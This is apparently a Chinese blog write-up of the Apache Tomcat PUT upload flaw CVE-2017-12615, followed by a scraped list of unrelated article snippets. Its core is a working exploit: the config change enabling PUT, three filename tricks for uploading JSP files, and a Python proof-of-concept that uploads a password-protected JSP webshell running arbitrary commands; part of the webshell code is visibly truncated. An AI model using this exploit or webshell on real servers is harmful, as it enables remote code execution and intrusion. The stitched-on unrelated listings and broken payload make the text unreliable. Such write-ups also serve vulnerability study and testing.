CVE-2017-12615和CVE-2017-12616
Tomcat代码执行漏洞分析测试
1. 漏洞花絮
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
2. 基本信息
漏洞名称:Tomcat任意文件上传漏洞
漏洞编号:CVE-2017-12615
漏洞影响:上传包含任意代码的文件,并被服务器执行。
影响平台:Windows
影响版本:Apache Tomcat 7.0.0 - 7.0.81
3. 测试过程
0x00 安装Tomcat 7.0.79
0x01 开启HTTP PUT
修改Tomcat 7.0/conf/web.xml文件
Org.apache.catalina.servlets.DefaultServlet
添加readonly属性,使者readonly=false; 相反为True,是禁用PUT DETELE,默认没有添加
- <init-param>
- <param-name>readonly</param-name>
- <param-value>false</param-value>
- </init-param>

目前主要三种方法:
- evil.jsp%20
- evil.jsp::$DATA
- evil.jsp/
构造请求:

参考POC:
- #! -*- coding:utf-8 -*-
- import httplib
- import sys
- import time
- body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public
static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
- +"".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
- try:
- conn = httplib.HTTPConnection(sys.argv[1])
- conn.request(method='OPTIONS', url='/ffffzz')
- headers = dict(conn.getresponse().getheaders())
- if 'allow' in headers and \
- headers['allow'].find('PUT') > 0 :
- conn.close()
- conn = httplib.HTTPConnection(sys.argv[1])
- url = "/" + str(int(time.time()))+'.jsp/'
- #url = "/" + str(int(time.time()))+'.jsp::$DATA'
- conn.request( method='PUT', url= url, body=body)
- res = conn.getresponse()
- if res.status == 201 :
- #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
- print 'shell:', 'http://' + sys.argv[1] + url[:-1]
- elif res.status == 204 :
- print 'file exists'
- else:
- print 'error'
- conn.close()
- else:
- print 'Server not vulnerable'
- except Exception,e:
- print 'Error:', e

参考链接:
https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5&chksm=ea3f3dd9dd48b4cf1db66e70662126cf1eb45f60eb8205b3391d20f66564e6a789b158c0efe5&mpshare=1&scene=23&srcid=0920boQGYdCjZTPg2nEQRMqt#rd
https://www.secquan.org/BugWarning/522
CVE-2017-12615和CVE-2017-12616的更多相关文章
- 【Tools】-NO.89.Tools.4.Visual Studio 2017.1.001-【Visual Studio 2017 安装与卸载】-
1.0.0 Summary Tittle:[Tools]-NO.89.Tools.4.Visual Studio 2017.1.001-[Visual Studio 2017 安装与卸载]- Styl ...
- 【数论】【原根】【动态规划】【bitset】2017四川省赛 K.2017 Revenge
题意: 给你n(不超过200w)个数,和一个数r,问你有多少种方案,使得你取出某个子集,能够让它们的乘积 mod 2017等于r. 2017有5这个原根,可以使用离散对数(指标)的思想把乘法转化成加法 ...
- ROSCon 2017通知 Announcing ROSCon 2017: September 21st and 22nd in Vancouver
ROSCon 2017通知:9月21日和22日在温哥华 我们很高兴地宣布,2017年ROSCon将在举行9月21-22日,2017年温哥华会议中心在加拿大温哥华.2017年IROS将在同一地点9月24 ...
- PhpStorm 2017汉化补丁 2017.1 免费中文版
PhpStorm 2017汉化补丁是一款可以让PhpStorm 2017.1版实现中文界面显示的汉化包工具,本站提供了PhpStorm 2017.1汉化补丁下载地址,有需要的朋友们欢迎前来下载使用. ...
- 在 2017 年将会更加流行的 6 个 Web 开发趋势
2016即将过去,2017就要来临. 前阵子看到很多对2016前端领域的总结,也是有人欢喜有人忧啊. 转发了这一篇2017web的发展趋势.那么到底会是怎么样的一个发展趋势的,只好拭目以待了. 201 ...
- 漏洞都是怎么编号的CVE/CAN/BUGTRAQ/CNCVE/CNVD/CNNVD
在一些文章和报道中常常提到安全漏洞CVE-1999-1046这样的CVE开头的漏洞编号,这篇文章将常见的漏洞ID的表示方法做下介绍: 1.以CVE开头,如CVE-1999-1046这样的 CVE 的英 ...
- Visual Studio 2017十五项新功能体验
Visual Studio 2017正式已经于2017.3.7号正式发布,选在这一天发布也是为了纪念Visual Studio 二十周年.MVP 2017技术峰会将于这个周末(3.17)在北京举办,由 ...
- 2017年最新基于Bootstrap 4 的专业、多用途响应式布局的系统模板
本文分享一款2017年最新的2017年最新基于Bootstrap 4 的专业.多用途响应式布局的系统模板,该模板是一款强大并且非常灵活的后台管理系统模板:能适应绝大多数的web应用程序开发,比如:AP ...
- Java 面试宝典-2017
http://www.cnblogs.com/nelson-hu/p/7190163.html Java面试宝典-2017 Java面试宝典2017版 一. Java基础部分........... ...
- 角落的开发工具集之Vs(Visual Studio)2017插件推荐
因为最近录制视频的缘故,很多朋友都在QQ群留言,或者微信公众号私信我,问我一些工具和一些插件啊,怎么使用的啊?那么今天我忙里偷闲整理一下清单,然后在这里面公布出来. Visual Studio 201 ...
随机推荐
- GIT 私有仓库 github项目提交失败 master -> master (non-fast-forward)
https://blog.csdn.net/fightingforcv/article/details/52073182 https://blog.csdn.net/u014135752/articl ...
- [js] - 前端FileReader使用,适用于文件上传预览.(并未传入后端)
<body> <div class="box"> <div class="container"> <ul> &l ...
- HTML基础【1】:认识 HTML
什么是HTML HTML其实是 HyperText Markup Language 的缩写,超文本标记语言 HTML的作用 1.首先利用记事本保存了一个标题和两段描述, 然后修改纯文本文件的扩展名 ...
- spring初体验 一之helloworld
今天开始学习spring,每天都会将自己学习的一些内容,或是一些总结以博客的形式记录下来,方便自己以后回顾,如果能给他人学习带来丁点的帮助那也是最好不过了.本系列博文的spring学习是基于4.0版本 ...
- 【Luogu P2664】树上游戏
Problem Description \(lrb\) 有一棵树,树的每个节点有个颜色.给一个长度为 \(n\) 的颜色序列,定义 \(s(i,j)\) 为 \(i\) 到 \(j\) 的颜色数量.以 ...
- _quest_random
-- 随机任务-- 可以实现玩家随机获取任务-- 小技巧:需要控制物品法防,在_function_menu表配置物品indexID为28 `comment`备注 `questId`任务ID `chan ...
- python 简单的自定义异常类模版
class CustomError(Exception): def __init__(self,ErrorInfo): super().__init__(self) #初始化父类 self.error ...
- jstack生成的Thread Dump日志线程 分析
文章转载自: https://www.javatang.com/archives/2017/10/25/36441958.html 前面文章中只分析了Thread Dump日志文件的结构,今天针对日志 ...
- word常用功能
1. 安装office2013 cn_office_professional_plus_2013_x86_dvd_1134005 密钥激活 (1)用专用软件彻底卸载原来的 (2)安装 (3)用暴风激活 ...
- Django-2.1基础操作
创建项目 安装django pip3 install django #查看django版本 django-admin --version python -m django --version 2.1. ...